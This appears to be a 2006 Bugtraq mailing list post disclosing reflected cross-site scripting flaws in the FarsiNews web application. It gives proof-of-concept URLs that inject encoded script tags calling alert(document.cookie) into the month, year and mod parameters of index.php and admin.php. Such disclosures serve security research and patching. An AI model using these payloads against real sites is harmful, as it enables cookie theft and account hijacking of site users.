Home page logo
/

bugtraq logo Bugtraq mailing list archives

XXS Attack On FarsiNews
From: outlaw () aria-security net
Date: 26 Apr 2006 05:09:22 -0000

XSS attack:
http://[target]/[farsinews_path 
]/index.php?month=%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C!--&year=%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C!--


http://[target]/[farsinews_path]/admin.php?mod=%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C !--

Original Advisory
http://www.aria-security.net/advisory/farsinews/farsinews0420062.txt


  By Date           By Thread  

Current thread:
  • XXS Attack On FarsiNews outlaw (Apr 26)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]